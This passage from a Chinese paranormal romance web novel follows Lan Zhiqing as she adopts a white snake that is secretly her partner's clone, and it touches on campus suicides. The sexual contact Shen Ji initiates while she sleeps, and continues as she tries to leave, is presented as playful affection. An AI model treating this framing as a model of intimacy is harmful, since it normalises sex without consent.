“……蛇箱造景是什么?” “就是这种的,您可以看一下,我们支持送货上门的。” 店员以为兰稚青是养蛇新手,他指了指旁边玻璃箱中各式各样的造景,耐心解释道:“蛇类喜欢攀爬,有造景一来可以增加观赏性,二来也可以给蛇解闷,让它们自娱自乐,没那么无聊。” 兰稚青站在玻璃箱前仔细看了看,她有些心动,小声问道:“有更大一点的吗?” “当然有啊。” 店员热情问道:“咱们家宝贝几岁啦,体长多少,体重多少克呢。” “我不知道它几岁了,体长也不太清楚,体重……” 兰稚青仔细想了想那条蛇的体型,她对重量没什么概念,只能斟酌道:“应该和我差不多吧。” “……” 店员沉默盯着兰稚青片刻,略带迟疑道:“冒昧问一下,您家里养的蛇……是国内允许养的品种吧?” 兰稚青也有些不太确定,但是为了避免自己被抓起来,她还是点了点头, “……那咱们家宝贝属于超级大胖蛇哦。” 店员仔细思量了一下,建议道:“普通的造景应该承受不住它的重量,要不您买点玩具辅食或者给蛇买个小窝怎么样?” 他带着兰稚青朝另一个方向而去,指着里面摆放的棉窝开口道:“现在是冬天,温暖狭窄的环境会让蛇更加有安全感。” 兰稚青想了想那条白蛇总往自己床上跑的行为,她点了点头,“那就买一个小窝吧,有合适的尺码吗?” “平常蛇的尺寸可能不太合适,要不我帮你问下其他动物的?” 店员见兰稚青还有些犹豫,解释道:“其实蛇类很好养的,只要有遮挡,可以让它们有躲避的地方,那就是合适的窝,倒是也没有固定的种类。” “……那麻烦帮我问一下吧。” “好嘞,您稍等啊。” 店员点了点头,转头冲不远处的店长喊道:“刘姐,那个给超级大胖狗用的带遮挡的狗窝还有库存吗?” 兰稚青:“……” “其实倒也没有那么胖。” 兰稚青挣扎地为自己的新儿子辩解,“它虽然比较大只,长得还是挺匀称的……” 店员闻言连忙尴尬一笑,解释道:“理解理解,咱家宝贝不是胖,是壮实,您别介意,在我们这里超级大胖是一种尺寸的代称。” 兰稚青:“……” 虽然过程有些波折,但是好在最后她还是给蛇买到了合适的窝。 兰稚青艰难拿着打包好的巨大蛇窝回家,为了表达自己的重视,她特地把窝放在了客厅最显眼的地方,甚至还特地在里面又铺了一层厚厚的毯子,借以昭示自己欢迎这位新家庭成员的到来。 沈寂回来的速度远比她预想中的还要更快,兰稚青才刚刚把蛇窝布置好,就听到了门锁打开了声音。 “你们回来了!” 兰稚青扔下了手里东西,兴高采烈朝玄关而去。 沈寂的手里拿着一个巨大的竹篮,上面还盖着一块布,兰稚青站在不远处有些犹豫,即使做了再多的心理建设还是挡不住内心的恐惧,她抿了抿唇没敢立马靠近,而是怯生生开口道:“这……这就是那条蛇吗?” “嗯,就是它。” 沈寂轻轻掀开了盖在上面的软布,金色眼睛的白蛇立马好奇地探出头来,盯着躲在墙后的兰稚青嘶嘶吐着信子。 兰稚青看到这条蛇明显一愣,她困惑道:“它是不是瘦了,好像体型和之前不太一样……” 虽然这条蛇还是很大只,但是和她当时看到的巨蛇明显还是有点差距的。 沈寂抵唇轻咳了一声,睁眼说瞎话解释道:“宝宝,是不是你当时看错了,毕竟白色看起来总是会比较显胖。” 这已经是沈寂能想到的最优解法了,若是去外面另找一条白蛇,一来体型太大不好找,养在家里也很麻烦,二来他领地意识强烈,绝对不允许在自己的领地里出现其他同类。 他没办法,只能花时间先化形出一个分身,虽然个头稍微小了一点,但是他们之间可以共感,先让兰稚青适应一下和蛇类相处,以后发现真相后她的反应也不会太强烈。 “是这样吗……” 兰稚青虽然还是觉得有些困惑,但是被沈寂这么一说,她自己倒真的有点开始怀疑自己的记忆。 毕竟她每一次看到那条蛇都是在黑暗之中,她确实有点拿捏不住它的具体体型,再加上梦里她总被长得和沈寂一模一样的巨蛇缠着,或许一时记忆错乱也是有可能的。 兰稚青发现那条蛇一直在盯着自己瞧,她犹豫了一下,小声问道:“它叫什么名字啊?” 沈寂摇了摇头,随口道:“还没有取名字,要不你来取吧。” 兰稚青张了 张嘴,不知是想到了什么,又忽而陷入了沉默。 完蛋。 她的脑子里全是超级大胖蛇。 “孩子的名字不能乱起的,还是好好翻翻字典之后再说吧。” 兰稚青决定强行跳开这个话题,她小心翼翼靠近了几步,柔声道:“蛇蛇,认不认识我啊,我是妈妈呀。” 白蛇迟疑了一下,它轻轻点了点头。 兰稚青见状吓了一跳,不过一想到这条蛇都会自己开门了,那听得懂人话应该也不是什么大问题吧…… 她咽了咽口水,试探性地伸出手,想要摸一摸它展示自己的友好,可是又实在害怕它上来就咬自己一口,毕竟上一次他们见面的时候,她还邦邦砸过它的脑壳。 她的手悬在半空一时间不知是该进还是该退,只能将求助的眼神投向沈寂。 “乖乖,别害怕,它不会咬你的。” 沈寂见兰稚青实在害怕,他只能抓住她的手轻轻放到蛇身之上,温声道:“你看,它是不是……” 兰稚青的手指在触到微凉细滑的鳞片瞬间就猛然缩了回去。 藏在内心的恐惧就这么摆在自己的眼前,她觉得自己毛骨悚然,就连后背都不自觉沁出了冷汗。 好恐怖好恐怖这个世界上怎么会有这么恐怖的生物。 对上沈寂诧异的眼神,兰稚青欲哭无泪,哆嗦道:“我……我还是害怕。” 安静盘踞在篮子里的白蛇见状似乎有些不满,它轻轻拍了拍尾巴,再度朝兰稚青嘶嘶吐起了信子。 兰稚青生怕它会直接动嘴咬她,所以害怕地缩到了墙后,一脸警惕地观察着它的行为。 沈寂见状只能把篮子先放到地上,先上前抱着兰稚青好好安抚。 “它怎么一直在盯着我看……” “乖乖,那是因为他喜欢你啊。” 沈寂见兰稚青吓得脸都白了,连忙轻轻亲了亲她的脸颊,解释道:“他只是太喜欢你了,别害怕,他不会伤害你的。” 他轻轻叹了口气,温声道:“你要是实在接受不了,我现在就把它送走……” 兰稚青瞥了一眼趴在篮子里的白蛇,它似乎已经意识到了自己不太招人喜欢,所以缩在篮子里可怜巴巴地看着他们,像是一个孤零零的拖油瓶,等待着自己的“父母”商议好自己的去处。 “……别送走。” 兰稚青瞬间又心软了,她咬了咬牙,坚持道:“我能接受的,就是现在还不太适应……我们再相处相处肯定会好的。” 她鼓起勇气重新走到白蛇的面前,带着视死如归的勇气一把将手放到了蛇的身上胡乱摸了两把。 白蛇像是受到惊吓一般突然挣扎了起来,沈寂闷哼了一声,有些无奈地闭了闭眼。 “怎……怎么了吗?” 兰稚青没想到蛇的反应会这么大,她刚刚鼓起的勇气再瞬间烟消云散,只能再度转头看向沈寂,干巴巴道:“对不起,我是不是弄疼它了……” “……不是,是你刚刚碰的地方是它的泄殖腔。” “对不起对不起,我不知道……” 兰稚青神色慌乱,她看着匆匆把自己尾巴藏起的白蛇,连忙开口道:“蛇蛇,妈妈给你买了新的小窝,希望你会喜欢。” 沈寂闻言一怔,篮子的白蛇也好奇地探出了头,它像是小猫小狗一样轻轻蹭了蹭兰稚青的手,似乎是在表达自己的感谢。 兰稚青还是下意识想躲,但是她硬生生忍住了。 她缩了缩手,干巴巴道:“要不要妈妈抱你过去试一试……” 这话一说出来她立马就后悔了。 可是篮子里的蛇似乎很兴奋,它的眼睛里满是期待,甚至特地把自己的身体弯出可以适合兰稚青抱起的弧度,乖巧朝她吐着信子。 兰稚青盯着它犹豫了许久,不知道自己该不该鼓足勇气上手,她下意识回头看向了沈寂,发现他正一脸温柔地望着自己,似乎也带着隐隐的期待。 不能怕不能怕,现在这也是你的娃儿,当妈的一定不能让孩子失望。 兰稚青疯狂给自己做着心理建设,她定了定心绪,终于鼓起勇气朝篮子里的白蛇伸出了手,一鼓作气…… 没抱动。 兰稚青和白蛇沉默对视,彼此都在对方的眼中看到了蔓延出来的尴尬。 ……果然是超级大胖蛇。 40-50 第41章 第41章谁能拒绝一个汉堡包…… 兰稚青在想她的蛇儿子能不能有点眼色自己爬过去。 白蛇在想它的人妈妈能不能再努努力把它抱起来。 一人一蛇在原地面面相觑僵持不动,最后还是沈寂率先让步,他主动拎起蛇篮走进客厅,而后看到落地窗前放着一个…… 巨大无比的毛绒汉堡包。 “……” 竹篮里的白蛇和沈寂沉默盯着那个大汉堡,许久沈寂才有些犹豫地开口问道:“宝宝,这个该不会就是……你说的小窝吧?” “对啊,异宠店的店员说蛇比较喜欢有遮挡的窝,这样睡起来比较有安全感。” 兰稚青示意沈寂把蛇篮放到小窝前,她放柔了自己的声音,俯身对白蛇一脸期待道:“蛇蛇,这是妈妈给你准备的新窝,里面还铺了厚厚的毛毯,睡起来非常暖和的,你看看喜不喜欢呀。” 话虽这么说,但是她对自己精心挑选的汉堡小窝非常自信,毕竟有谁可以拒绝一个双层芝士双层肉饼带西红柿片酸黄瓜片和生菜的汉堡包呢。 沈寂的面色还有些迟疑,可是竹篮里的白蛇已经迫不及待爬了出来,顶着兰稚青灼热的期待眼神,毫不犹豫爬进了那个巨大的毛绒汉堡窝。 “……” “太好了,尺寸正合适!” 兰稚青看到白蛇可以完美盘踞在里面,心里不禁又开始佩服起自己的眼光,甚至绕着窝转了好几圈,看了又看,满意得不得了。 如果她也有尾巴的话,这个时候估计已经高兴得高高翘起来了。 沈寂有些无奈地笑了笑,但还是夸奖道:“宝宝好棒啊,竟然可以找到这么合适的蛇窝,像这么大的尺寸不太好找呢。” “……” 兰稚青闻言有些心虚地移开自己的视线,尴尬笑了笑,“哈哈,找这个窝确实费了点功夫……” 她觉得自己暂时还是不要告诉沈寂这本来是给超级大胖狗睡的窝比较好。 白蛇似乎真的很喜欢兰稚青给自己准备的小窝,它蹭了蹭身上铺着的毯子,格外兴奋地吐着蛇信。 蛇类的蛇信与其他物种的舌头不同,它们的蛇信上没有味蕾,蛇信与它们而言是感知气味的器官。 就像是现在,它能清楚感受到四面八方全部都是兰稚青身上的气味。 沈寂的视线下意识落在窝里铺着的毯子上,他有些掩饰地轻咳了一声,试探道:“那条毯子你是从哪里拿的?” “就是在柜子里拿的呀,不过在铺之前我先自己盖了一会儿。” 兰稚青有些不太好意思地抿唇笑了笑,小声道:“我听网上说这样可以让蛇尽快熟悉我的气味,以后就不会咬我了。” 沈寂:“……” 怪不得这么香。 沈寂强行让自己冷静下来,他伸手捏了一把兰稚青的脸颊,随口问道:“我去准备晚餐,要不要吃炸小肉丸?” “要吃!” 兰稚青闻言顿时眼前一亮,可是却又突然后知后觉意识到了什么,她神色有些犹豫,迟疑道:“等一下……你不会翻了我的手机吧?” 她为了避免沈寂视奸早就已经把社交账号里的内容能私密的都私密,实在没办法私密 的选择关闭,昨天她才因为看动画片收藏了炸小肉丸的视频,怎么今天沈寂又这么凑巧地要做炸小肉丸。 “当然没有。” 沈寂闻言立马否认,他顿了顿,解释道:“是你昨天晚上一直在说梦话我才知道的。” “……我昨天晚上说梦话了吗。” 兰稚青没想到竟然会是这个原因,她一时无言以对,眼见着沈寂要走,她连忙又追了上去,“等一下,蛇蛇怎么办啊?” “它现在不是挺好的吗?就让它一直在那里待着就行了。” 沈寂自顾自给自己套上围裙,即使对待自己特地捣鼓出来的分身态度也没有多么的热络。 虽然说是分身,他可以控制白蛇的身体,也可以和白蛇共感,但在他不进行干涉的时候,白蛇是有自己一定的独立意识的,它听得懂人话,而且可以自己做出反应。 它有脑子,但不多。 为了避免它趁他不注意没有控制好的时候吓到兰稚青,他觉得还是尽量把他们分开比较好。 沈寂见兰稚青若有所思,他低头亲了兰稚青一口,温声道:“好了乖乖,我要做饭了,你自己先玩一会儿吧,吃饭的时候我再喊你。” 兰稚青闻言答应了下来,打算回到房间打发一下时间。 为了表示自己真的会愿意接受沈寂养的蛇,兰稚青今天还特地把自己的东西又都从客房搬回了主卧。 她抱着自己的兔子玩偶在床上滚了一圈,心想这样应该就已经算结束了吧。 她和沈寂的误会已经解除,现在沈寂的蛇也接了过来,他们现在可以组成幸福的一家四口。 好开心,她以后真的有属于自己的家人了…… 兰稚青心里的雀跃甚至打消了她对白蛇的恐惧,她趴在床上开始搜索各种蛇的习性和爱好,刚要准备一一收藏保存下来,林警官就发了短信过来,让她明天去警局再配合做一次笔录。 她之前的手机卡已经被她拔掉了,现在用的是她爸妈都不知道的新卡,现在绝对不会再有莫名其妙的脑残打电话过来骚扰她。 兰稚青随手回复了一句好的,她略微思索了片刻,又从床上爬了起来找到自己随身背着的双肩包,在里面翻找自己的备用手机。 一张薄薄的名片从包里掉了出来,兰稚青捡起来看了一眼,半晌才想起来对方的身份。 纪云飞。 就是之前在买银耳的商场里拦下她的绿毛道士。 当时他好像说……她以后可能会需要他帮忙处理一些小宠物的事情。 她当时又没有养宠物,也没放在心上,以为他是个江湖骗子,可是现在想想却觉得有些奇怪。 难道他说的宠物其实是外面那条白蛇吗? 可是他又是怎么知道的…… 兰稚青越想越觉得不可思议,她不太相信这些风水玄学类的东西,尤其是她上次在天桥底下还差点被算命的骗着买了朱砂。 不过出于谨慎起见,她还是把名片好好收了起来,转而拿起了自己的备用机,把之前的手机卡放了进去。 她在通讯录里翻了许久,终于在最末找到了她想找的联系人。 兰稚青毫不犹豫按下了拨通键,等到对方接通,她迫不及待开口道:“郑姨,是我呀。” “青青?你怎么突然打电话过来了。” 电话那头的人接到兰稚青的电话明显有点惊讶,她笑道:“上次你帮我家佳佳报志愿的事我还没好好谢谢你呢,你现在回来了吗,有空阿姨请你吃饭。” “不用麻烦了郑姨,我这次打电话过来就是想问一下,我大哥现在还在你们公司干吗?” “你是说兰智刚啊……” 对方听到兰稚青问起这件事态度明显变得有些微妙,她反问道:“他两个月前就被公司辞退了,这件事情你不知道吗?” “被辞退了?” 兰稚青闻言明显一怔,她顿了顿,连忙追问道:“为什么会被辞退了啊。” 对面轻轻叹了口气,也不和兰稚青兜圈子,简洁明了道:“他骚扰刚进公司实习的小姑娘,大晚上给人家发不干不净的照片,对方直接打印下来贴满了整个公司。” 兰稚青:“……” 她就知道兰智刚那个大贱货人渣不会干出什么好事。 …… 兰稚青从郑姨的手里得到了重要的情报,她拔掉手机卡把手机关机,刚要准备去喝口水冷静一下,却后知后觉现在客厅里还有一条大白蛇。 她的动作略微有些迟疑,试探性地探头看了一眼落地窗旁边的汉堡包。 白蛇正惬意地躺在充满兰稚青气味的窝里,它听到了脚步声,也跟着从窝里探出了头。 一人一蛇沉默对视,兰稚青觉得自己刚刚调理好的怕蛇症又开始犯了。 她默默又缩了回去,不停给自己洗脑,努力试图克服自己的恐惧。 悄悄看一眼。 好恐怖。 还是再看一眼脱脱敏。 吐信子了,看起来更恐怖了呜呜呜。 白蛇不太明白它的新妈妈为什么一直躲在角落里鬼鬼祟祟地观察它,它用自己不太灵光的脑子想了想,觉得对方多半是想要和它一起玩,但是又不好意思过来。 所以在兰稚青再度探头看它的时候,它试探性地从汉堡窝里爬了出来,下一秒兰稚青就尖叫着像个炮弹一样窜进了厨房。 “它出来了!那条蛇它出来了!” 兰稚青吓得脸色都白了,正在做饭的沈寂看到她吓了一跳,连忙安抚道:“没事没事,它不会咬人的。” 他夹起刚刚炸好的小肉丸吹凉塞到兰稚青的嘴里,哄道:“别怕了,一会儿做完饭我就把它找个房间关起来。” “……不要关它。” 兰稚青嚼着嘴里外酥里嫩的炸小肉丸,听到沈寂的话总觉得不是滋味,连带着良心都开始变得不安了起来。 明明是她让沈寂把蛇接回来住的,现在又要让沈寂把蛇关起来,她总觉得自己像白雪公主里的恶毒后妈。 她咽下了嘴里的小肉丸,小声道:“我们晚上吃炸小肉丸,那它晚餐吃什么?” 沈寂随口回答道:“它不饿,不用吃饭的。” 兰稚青看向了菜板上的三文鱼,试探道:“我可以给它喂鱼吃吗?” 沈寂闻言动作一顿,他有些惊讶地看了兰稚青一眼,思索了片刻回答道:“嗯……如果你想喂它吃东西的话可以给它喂水果,苹果草莓凤梨之类的都可以。” 兰稚青听到这话却皱了皱眉,“可是网上说蛇不能吃水果的,吃了很容易伤身体。” “没关系,它不是一般的蛇。” 沈寂见她对这件事情这么认真,他解释道:“它的身体很好,所以就算是吃水果也不会出事的。” 兰稚青恍然大悟,了然道:“原来如此。” ……果然超级大胖蛇就是比较抗造。 兰稚青心里嘀咕了一句,自己拿了两个苹果视死如归地走出了厨房。 沈寂刚刚把小肉丸分出一半来准备另做糖醋小肉丸,兰稚青却又拿着苹果跑回来了,眼巴巴问道:“苹果需要削皮吗?” 沈寂又喂了一个小肉丸到兰稚青的嘴里,随口回答道:“别削皮了,小心被刀割伤手,把苹果洗干净就行。” 兰稚青点了点头,默默把苹果仔仔细细洗干净又跑了出去。 沈寂准备继续做饭,兰稚青又再度拿着苹果跑回来了。 她手里拿着水果刀,确认道:“苹果需要切块吗?” 沈寂习惯性又往她嘴里塞了一个小肉丸,回答道:“还是切一下吧,蛇吃东西都是一口吞的,太大一个不太好吞。” 兰稚青点头表示自己明白了,拿着苹果和水果刀再次离开厨房。 兰稚青跑过来,兰稚青跑过去。 沈寂这回干脆直接没有任何动作,他等了半分钟,果不其然兰稚青又拿着东西跑回了厨房。 他轻轻叹了口气,无奈道:“……又怎么了宝贝?” 兰稚青眨了眨眼,实话实说道:“我还想再吃一个小肉丸。” 沈寂:“……” …… 兰稚青嘴里嚼着香喷喷的小肉丸,手里拿着红彤彤的大苹果,视死如归地朝落地窗前的汉堡窝走了过去。 白蛇刚刚看到她害怕的反应,再加上有沈寂的约束,他乖乖趴在窝里等着她过来。 兰稚青把一个苹果切成八 瓣,她不敢直接上手,只能拿着筷子夹起苹果靠近白蛇。 “蛇蛇,不要咬妈妈,妈妈给你喂苹果吃……” 兰稚青胆战心惊把苹果递到白蛇的面前,白蛇毫不犹豫上前一口吞了下去。 它不敢再用头去蹭兰稚青,只能探出自己的尾巴尖尖小心翼翼蹭了蹭她兔子拖鞋上的毛绒兔耳朵。 第一次喂食就这么顺利,兰稚青觉得自己又升起了几分勇气。 她把切好的苹果用果盘装好,最开始还只是用筷子夹着递给它,后来发现白蛇真的没有想要攻击她的意图,她的胆子也紧跟着大了起来,试探性地用手拿起苹果喂给它。 白蛇对兰稚青投递过来的食物来者不拒,它半个身子已经探出了汉堡窝,见兰稚青手里的果盘空了,它也没有回去,而是试探性把头轻轻搭在兰稚青的膝头。 兰稚青身形猛然一僵,她下意识又想要跑,但是最终还是拼尽全力让自己镇定了下来。 她小心翼翼伸出自己的手,手指有些颤抖地放到白蛇的脑袋上,确认过它真的没什么反应才终于勉强松了口气。 “对不起……” 兰稚青不太适应蛇鳞那种冰凉的手感,但她还是轻轻摸了摸白蛇的头,小声道:“妈妈上次是被你吓到了,不是故意要打你的。” 白蛇闻言吐了吐信子,像是在回应兰稚青的话。 兰稚青见它比自己想象中的还要乖巧,她的胆子也紧跟着大了起来,“你喜欢吃苹果吗,妈妈再多给你切几块好不好?” 她把家里所有的苹果都洗好拿了过来,小心翼翼削皮切块装到果盘里,坐在白蛇的面前一口接着一口地喂它吃。 一人一蛇终于找到了合适的相处方式。 兰稚青发现自己喂的越多,白蛇就越亲近她,觉得自己是找到了当蛇妈妈的好办法。 白蛇发现它自己吃的越多,兰稚青就笑得越开心,认为自己是探索到了当人儿子的小妙招。 兰稚青看着削下来的苹果核,由衷开口道:“蛇蛇,你好能吃啊。” ……怪不得会变成超级大胖蛇。 一人一蛇在此时终于有了点母子情深的意味,兰稚青甚至还大着胆子摸了摸它的尾巴尖,任由白蛇的尾巴缠在自己的手腕上。 “乖宝,别玩了,洗手准备吃饭吧。” 沈寂将饭菜一一做好端了出来,特地过来看了一眼,发现兰稚青正和白蛇玩的其乐融融,他微不可察地皱了皱眉,等到兰稚青看过来的时候他的脸上又挂上了温柔的面具。 “饭已经做好了,我们先吃饭吧。” 兰稚青闻言连忙匆匆起身,白蛇看到沈寂过来嘶嘶吐着蛇信,像是在和他打招呼。 沈寂扫了一眼旁边被削掉的苹果核,一时间都有些无语。 “……蠢蛇。” 他敲了敲白蛇的脑壳,没好气道:“你不知道我们两条蛇会共感吗?” 吃吃吃,一天到晚就知道吃,他怎么会弄出这种傻子蛇来当分身。 唯一的好处就是兰稚青现在对蛇类的抗拒稍微少了那么一点点。 沈寂轻轻叹了口气,他听到了兰稚青的脚步声,所以也慢吞吞朝餐厅走去。 中午的时候沈寂不在家,兰稚青也懒得动弹,给蛇买窝的时候在外面随便吃了一点,现在早就已经饥肠辘辘。 她自己坐在桌前吃得香喷喷的,可是坐在她对面的沈寂却一直都没有动筷子。 兰稚青有些奇怪,纳闷道:“你怎么不吃饭啊?” “……” 沈寂笑了笑,脸上看不出半分破绽,“你先吃吧,我不怎么饿。” 一口气吃了八个大苹果,他早就吃苹果吃饱了。 第42章 第42章再也不要吃凤梨了 兰稚青总觉得沈寂今天奇奇怪怪的,他今天似乎格外食欲不振,晚餐基本都没怎么动筷子。 饭后她本来还想再继续喂白蛇吃东西,结果他非说白蛇吃饱了要睡觉了,连看都不让她多看一眼,直接把她推回了房间。 本来她才刚和白蛇熟悉了一点点…… 兰稚青心里纳闷,但是也没有多想,她洗完澡之后百无聊赖趴在床上玩手机,刚刚点进学校的匿名论坛就看到了被顶上来的热帖。 上面的标题格外醒目:【到底是谁杀死了他们?】 兰稚青见状微微一顿,犹豫了一下还是点了进去。 帖子说的是A大曾经发生的三起自杀案,其中两男一女,自从三年前开始几乎是一年一起。 第一年死去的男生叫韩晓,是一路从偏远山村考到A大外国语学院的,他成绩优异,但却一直困在应试教育的囚笼里,对于学校的种种活动都无法适应。 再加之由于生活习惯的问题与室友同学的关系更是势如水火,后来性格变得越来越孤僻,在暑假期间选择跳湖自杀。 第二年死去的是一个叫做谭钰琳的女生,她和韩晓不同,性格外向活泼,积极参加过很多社团活动,交友圈极为广泛,但可惜遇人不淑,她在和男朋友交往后遭到对方长期PUA,精神状态每况愈下,选择跳楼轻生。 事发之后她的父母连学校大闹索要赔偿,结果两人却因为赔偿款的分配问题当场打了起来,甚至一度登上了社会新闻。 自从韩晓死后,A大就开始注重学生的心理问题,再加上后来出了谭钰琳的事情,A大更是增加了学校心理咨询室的数量,对学生的心理普查也从一年一次改为一学期一次,还多次在校园内开展心理健康讲座,生怕这样的悲剧再度发生。 兰稚青就是在参加某一次心理讲座积累综测分数时遇到周老师的,所以对这件事印象极为深刻。 可是这样的事情却并未因此结束,第三年的春天,一个叫做李杰的男生认为自己感染了艾滋所以在寝室中割腕自杀,当时在学校里闹得沸沸扬扬人心惶惶,甚至一度成为校园传说,大家对此唯恐避之不及。 然而警方在调查之后却发现李杰根本没有任何感染艾滋的迹象,他在死前曾经数次去医院抽血做各种检查,总是怀疑自己身体有问题,心理学上称之为疑病症,在长期的精神压力下他忍无可忍,最终选择了结自己的生命。 整篇帖子令人唏嘘不已,可是下面的很多评论却实在算不上友好。 有人说韩晓被室友和同学排挤是他经常偷窃室友的财物,而且屡教不改。 还有人说李杰害怕自己感染艾滋是因为他是同性恋经常乱搞,并且经常带人回寝室,惹得大家烦不胜烦。 而匿名的高赞评论更是:【谁还没看过谭的跳楼照片,0.5r可私发分享】 兰稚青眉头紧皱点了举报,彻底失去了再继续刷下去的兴趣。 论坛上的帖子把他们三个的死都归于心理问题没有得到及时干预,所以才会发生这种悲剧。 可是兰稚青曾经无意间捡到过周老师遗落的文件,那是校方要向警方提供的有关谭钰琳自杀的证据文件。 里面的初始访谈表和个案记录都明确表明谭钰琳已经意识到自己在被PUA,周老师也建议她到医院就诊,根据医嘱进行相关的药物治疗。 然而最后她还是死了。 兰稚青闭了闭眼,她努力想要让自己忽略心中强烈的恐惧和不适,所以干脆转移注意力开始思考明天去警局做笔录的事情。 沈寂也不知道是去做什么了,兰稚青等了许久都没有等到他回来,反而是她自己越等越困,到最后等不下去了干脆窝进被子里先睡了。 “宝宝?” 沈寂推开房门的时候只看到隆起的一团被子,他走过去掀开看了一眼,果然是兰稚青蜷缩在里面睡着。 她睡觉的习惯不是很好,喜欢把自己缩成一团,而后用被子把自己从头到尾蒙起来,像是婴儿蜷缩在母亲的子宫寻找足够的安全感。 沈寂把被子往下拉了拉,好借此把兰稚青的脸露出来,免得她因为缺氧呼吸不畅。 兰稚青似乎也感 受到沈寂的动作,她迷迷糊糊地睁开眼睛,发现沈寂在自己的身旁,她又抱着怀里的兔子蹭进了他的怀里。 “你怎么才来……” “抱歉,刚刚有事耽误了一下。” 沈寂伸手抱住了她,感觉自己就像是抱住了一只刚刚睡醒的小绵羊,小绵羊身上热热软软的,还带着暖融融的香气,像是被太阳晒过的蓬松棉花糖,他忍不住在兰稚青肩头咬了一口。 他用的力度不大,兰稚青的皮肤上只是留下了轻微泛红的牙印。 沈寂有些心疼地轻轻舔了舔,兰稚青闭着眼睛轻轻推了他一把,含糊道:“好困……” “宝宝,我只亲亲,不做别的。” 沈寂凑过去亲了她一口,可惜兰稚青半张脸都埋在枕头里,这一吻只落在她的耳朵上。 她被困意席卷,根本也懒得再理会沈寂的动作,自己闭着眼睛睡觉,任由沈寂在自己身上作乱。 沈寂本来只是打算浅尝辄止,可是没想到兰稚青竟然这么纵容,他的胆子也跟着大了起来,一路向下到最后直接钻进了被子里。 兰稚青在睡梦之中觉得自己像是在坐过山车,过山车逐渐攀登到了高处,她的神经也紧跟着高度紧绷起来,最后在最高点处突然停住,而后毫不犹豫直冲而下。 突然起来的失重感包围着她,她在梦中尖叫了一声,心跳和呼吸都在不停加速,下意识夹紧了自己的双腿,最终在某一个瞬间猛然间睁开双眼,猝不及防对上室内的一片黑暗。 兰稚青愣了一下,身下熟悉的湿润感无声昭示着刚刚发生过什么,她下意识看着身旁的沈寂,发现他双眼紧闭正在沉睡,毫不犹豫重重推了他一把。 “你还在装睡!” 沈寂因为兰稚青的动作苏醒,他有些困惑地睁开眼睛,对上兰稚青愤怒的神色,他迷茫道:“宝宝,怎么了?” “你……你刚刚是不是又偷偷舔我了?” 兰稚青脸色涨红,气恼道:“你怎么这么讨厌!” “……什么?” 沈寂闻言也是一怔,他茫然道:“乖乖,我没有啊,我刚刚一直在睡觉。” “你还说没有!” 兰稚青闻言气急,她下意识伸手摸进了沈寂的睡衣,发现他并没有说谎,她的表情顿时变得犹豫起来,怀疑道:“……你真的没有?” “当然没有。” 沈寂手指暧昧地划过了兰稚青的腰间,似笑非笑道:“不过如果你想的话,现在也可以有……” 兰稚青感受自己手下的东西有苏醒的迹象,她像是被烫到一样松开了自己的手,毫不犹豫把沈寂推开,“你难道一天到晚就不能正经一点吗?” “宝宝,我们两个到底是谁不正经。” 沈寂侧躺着打量着她,委屈道:“你不能自己在梦里想了坏坏的事情睡醒之后就找我算账啊。” “我才没有!” 兰稚青拿不出证据,反而被沈寂反咬了一口,她气得翻了个身,再度闭上眼睛准备继续睡觉。 等等…… 不对! 兰稚青像是猛然意识到了什么,她连忙摸了摸自己的身上,回头又把沈寂给拍了起来,恼羞成怒道:“我的内裤呢?!” 沈寂一脸无辜地看着她,“或许是不小心离家出走了吧。” 兰稚青气急败坏,直接上嘴咬了他一口,却不料不仅没让沈寂吃到教训,反而被他一把拽到了腿上。 他的手指顺着刚才的湿润几乎是毫无阻碍地挤了进去,慢条斯理为自己辩解道:“抱歉宝贝,我只是有点好奇饭后切的凤梨甜不甜,可是没想到你把它们全吃光了。” 兰稚青下意识想跑,可是却被他又按了回去,她抗议道:“是你自己说你不饿不想吃的!” “对啊,因为我想换种方式尝一尝。” 沈寂轻笑了一声,“果然是甜的。” 兰稚青:“……” 她再也不要吃凤梨了! …… 早上五点钟,沈寂的生物钟准时让他苏醒过来。 新的一天即将开始,他抱着怀里还在熟睡的兰稚青吸了一会儿,许久才慢吞吞起身下床。 为了怕影响到兰稚青睡觉,他开关门的动作都格外小心翼翼,在兰稚青尚在沉睡之际,房间的门随着沈寂的离开而关上。 直到片刻后伴随着一声几乎微不可闻的咔哒声,房门再度从外面打开。 白蛇把自己放在门把上的尾巴收了回来,小心翼翼探头观察了一下房间里的情况。 它发现兰稚青还在床上睡着,有些兴奋地嘶嘶吐着蛇信,迫不及待爬到了床上。 兰稚青对此一无所知,她躺在温暖柔软的被窝里呼呼大睡,全然不晓得自己的身旁睡了一个危险生物。 白蛇趴在枕头旁盯着她看了一会儿,它轻轻用头拱了拱兰稚青,兰稚青怀里没有抱紧的兔子玩偶就这么掉到了地上。 兰稚青迷迷糊糊下意识想要找东西抱住,白蛇立马见缝插针钻进了她的怀里,顶替了兔子玩偶的位置,蛇尾还有些迷恋地缠着她的小腿。 “沈寂,你别闹了……我要睡觉。” 兰稚青觉得自己的颈窝痒痒的,她含糊哼唧了一句,以为又是沈寂在对它动手动脚。 白蛇闻言缩了缩脑袋,乖乖待在兰稚青的怀里闭眼睡觉。 兰稚青睡得极不安稳,她想要翻身,可是身体却突然变得无比沉重,像是被森林的藤蔓缠住一样,压的她都有些喘不过气来。 她挣扎着睁开双眼,可是却猝不及防对上一双金色的竖瞳。 兰稚青眨了眨眼,她低头看了一眼自己的怀里,而后猛然发出了一声凄厉的尖叫。 “怎么了宝宝,出什么事了?” 听到声音的沈寂匆匆赶来,他的手里还沾着没来得及洗掉的面粉,看到房间里的景象明显一怔。 兰稚青裹着被子缩在床脚,一脸惊恐地指着床上一脸无辜的白蛇,结结巴巴道:“它……它怎么会在这里!” 白蛇吐着信子歪头看她,似乎不太理解为什么昨天还说是自己妈妈的人今天突然一脚就把它踹下了床。 沈寂想了想,解释道:“可能是它自己开门进来的。” 兰稚青:“……” 差点忘了,这条蛇是真的会开房门! 沈寂有些无奈地闭了闭眼,他把地上的兔子玩偶捡起来放到了床上,恨铁不成钢地把它从床上拽了下来,教训道:“你吓唬妈妈还欺负妹妹,从来没有见过你这么坏的蛇,以后不许你再乱进房间。” 他现在有点后悔弄出这么一个分身了,只要他一时半会儿没有注意到它,它就会傻不愣登按照本能行事。 沈寂抓住了尚在懵懂的白蛇的蛇头,直接拖着它离开房间,把它又塞回了汉堡窝里,公报私仇道:“作为惩罚,这几天都不准你再吃苹果了。” 兰稚青本来还有点害怕,但是看到沈寂这么粗暴地把蛇拽了出去,她吓了一跳,一时间也顾不上那么多了,连忙穿上拖鞋匆匆跟了上去。 